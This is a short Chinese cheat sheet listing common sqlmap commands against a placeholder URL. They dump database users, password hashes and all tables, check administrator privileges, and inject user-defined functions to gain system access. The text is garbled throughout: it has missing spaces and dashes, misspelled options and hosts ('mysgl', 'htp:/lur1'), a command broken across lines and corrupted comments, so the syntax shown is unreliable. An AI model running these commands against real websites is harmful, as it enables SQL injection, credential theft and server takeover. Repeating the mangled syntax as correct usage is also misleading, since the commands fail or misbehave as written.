sqlmap 常用命令

sqlmap-uhttp://url/news?id=1-dbmsmysgl-users#dbms指定数据库类型
sqlmap-uhttp://url/news?id=1-users#列数据库用户
sqlmap-uhttp://url/news?id=1-dbs#列数据库
sqlmap-uhttp://url/news?id=1-passwords#数据库用户密码

sqlmap-u"htp:/lur1/news?Id=1"- passwords- u root-0#列出指定用户数据库密码
sqlmap-uhttp://url/news?id=1-dump-c
password user id" - tablename -d db
Sqlmap-uhttp://url/news?id=1-dump-all-v0#列出所有数据库所有表
sqlmap-uhttp://url/news?id=1-privileges#查看权限
sqlmap-uhttp://url/news?id=1-privileges-uroot#查看指定用户权限
sqlmap-uhttp://url/news?id=1-is-dba-v1#是否是数据库管理员
sqlmap-uhttp://url/news?id=1-roles#枚举数据库用户角色
sqlmap-uhttp://url/news?id=1-udf-inject#导入用户自定义函数(获取系统权限!)
Sqlmap-uhttp://url/news?id=1-dump-all-exclude-sysdbs-v0#列出当前库所有表
sqlmap-uhttp://url/news?id=1-union-colsunion查询表记录
sqlmap-uhttp://url/news?id=1-cookie"cookie_value#cookieyix
sqlmap-uhttp://url/news?id=1-b#获取banner信息
sqlmap-uhttp://url/news?id=1-dataid=3#postye
sqlmap-uhttp://url/news?id=1-v1-f#指纹判别数据库类型